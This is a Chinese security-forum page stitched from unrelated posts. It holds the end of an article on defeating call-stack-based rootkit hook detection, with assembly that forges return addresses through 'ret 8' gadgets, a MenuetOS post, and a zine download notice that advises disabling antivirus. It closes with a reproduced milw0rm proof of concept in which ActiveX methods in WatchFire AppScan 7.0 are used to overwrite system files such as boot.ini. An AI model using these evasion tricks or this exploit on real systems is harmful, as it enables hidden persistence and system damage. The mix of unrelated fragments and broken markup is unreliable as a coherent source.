没Hook的情况:
retaddr = 0x0040100D
retaddr = 0x00401030
retaddr = 0x00401050
retaddr = 0x00401126
retaddr = 0x0040149D
retaddr = 0x7C816FD7
有Hook的情况:
retaddr = 0x0040100D
retaddr = 0x00401030
retaddr = 0x004011AD
Suspecious retaddr found : 0x004010cc
retaddr = 0x00401050
retaddr = 0x0040114D
retaddr = 0x0040149D
retaddr = 0x7C816FD7
比较顺利的找到属于[0x004010B0,0x004010D2]的0x004010cc
那么我们是否可用就此断定,这种堆栈回溯检测有效了?
还不可妄下结论...
如果,伪造的返回地址指向一个"C2 XXXX"? //但是记着,我们自己的HOOK函数内部,不能使用EBP寄存器哦。作者正是使用EBP回溯来检查函数返回地址
比如,我们在Hooked_Call_B里面这么写:
push xxx //这里随便push两个,与ret 8配合平衡堆栈
push xxx
mov eax, b
push eax
mov eax, a
push eax
push K //这个地址指向一个'C2 08 00'(ret 8)
jmp Call_B
那么,我们还得检测返回地址为C2的情况,并取得C2后面的一个WORD,通过这个WORD判断真正的返回地址在Arg[N]栈位置后面的第3个DWORD处.
更进一步,如果,伪造的返回地址K指向一个如下的指令序列:
pop eax
pop ebx
pop ebp
ret 8
我们还得对这个返回地址做一些语义(pop+ret)上的分析,才能确定真正的返回地址...它在Arg[N]栈位置后面的第6个DWORD的处...
还有
如果返回地址里还有对esp的add,sub..这些东西,呵呵,需要做检测工作的就多了去了.
虽然我在实践中实现了一个比较简单的'C3'检测,但我还是觉得这个Callstack回溯,并不是想象中好搞.
我不想和自己下棋了,没完没了......这篇陋文权当抛砖引玉了.
搞来搞去...我发现各Rootkit Coders以及ARK Coders都进入了一种Code Tricks的较量.
想象各种伎俩的RK/ARK代码在内核中堆积...他进我退他退我追他疲我生...
祸邪?福邪?
最后
感谢有人看完冗长的文章以及丑陋的代码
向以下达人及其共享的文档及其共享的精神致敬:
gyzy <编写绕过卡巴主动防御的Shellcode>
gyzy <基于栈指纹检测缓冲区溢出的一点思路>
MJ0011 <基于CallStack的Anti-Rootkit HOOK检测思路>
l0pht 点评"基于栈指纹检测缓冲区溢出的一点思路
Matt Conover (Show me his trick "without put anything extra on the callstack" :0)
附图:screen.width*0.6) {this.width=screen.width*0.6;this.alt='此图已经缩小,点击察看原图。';}" border="0">
完
最小的操作系统MenuetOS
最小的操作系统MenuetOS
天外有天,人外有人。 。。
官方站点:http://www.menuetos.net/index.htm
这东西太厉害了。。。
系统以及安装方法已打包在附件里了,一个中文版,一个英文版的。这个系统蛮有意思的,希望和大家一起讨论讨论。截个图:


该附件被下载次数 2
NSS-ZINE第三期5月刊出炉
NSS-ZINE第三期5月刊出炉。
详情请登陆http://www.netcicala.com/soft/sort04/down-76.html
下载地址:http://www.netcicala.com/download/nss-zine-3.rar
下载说明:
因为时间紧张,本杂志未做免杀处理,所以可能会被部分杀毒软件识别为病毒或木马属于正常,因为刊内有大量关于病毒/木马相关内容所以您可关闭杀毒软件进行阅读本刊。或则反CHM到HTM进行保存。本CHM采用EASYCHM制作。
下载地址 |
![]() |
软件评论 (评论内容只代表网友观点,与本站立场无关!) 发表评论... |
下载说明 |
WatchFire Appscan 7.0 ActiveX Multiple Insecure Methods Exploit
****************************************************************************************************************
Multiple Insecure Methods in AppScan Watchfire Web Application Security v 7.0
Remote: Yes
An arbitrary file overwrite has been discovered in an ActiveX control installed with the WatchFire Appscan v 7.0.
by callAX -> Fr33d0m & Kn0wl3dg3 1s th3 r341 P0w3r
****************************************************************************************************************
<HTML>
<object id=ctrl classid="clsid:{E302E486-D748-475C-84F3-4F7ED6F78EC5}"></object>
<SCRIPT>
function Do_it()
{
File = "c:\\autoexec_.bat"
ctrl.CompactSave(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>
<HTML>
<BODY>
<object id=ctrl classid="clsid:{AA9730F1-70F6-43DC-94FC-000000000004}"></object>
<SCRIPT>
function Do_it()
{
File = "c:\\boot_.ini"
ctrl.saveRecordedExploreToFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>
<HTML>
<BODY>
<object id=ctrl classid="clsid:{E302E486-D748-475C-84F3-4F7ED6F78EC5}"></object>
<SCRIPT>
function Do_it()
{
File = "c:\\ntldr_"
ctrl.SaveSession(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>
# milw0rm.com [2008-04-25]
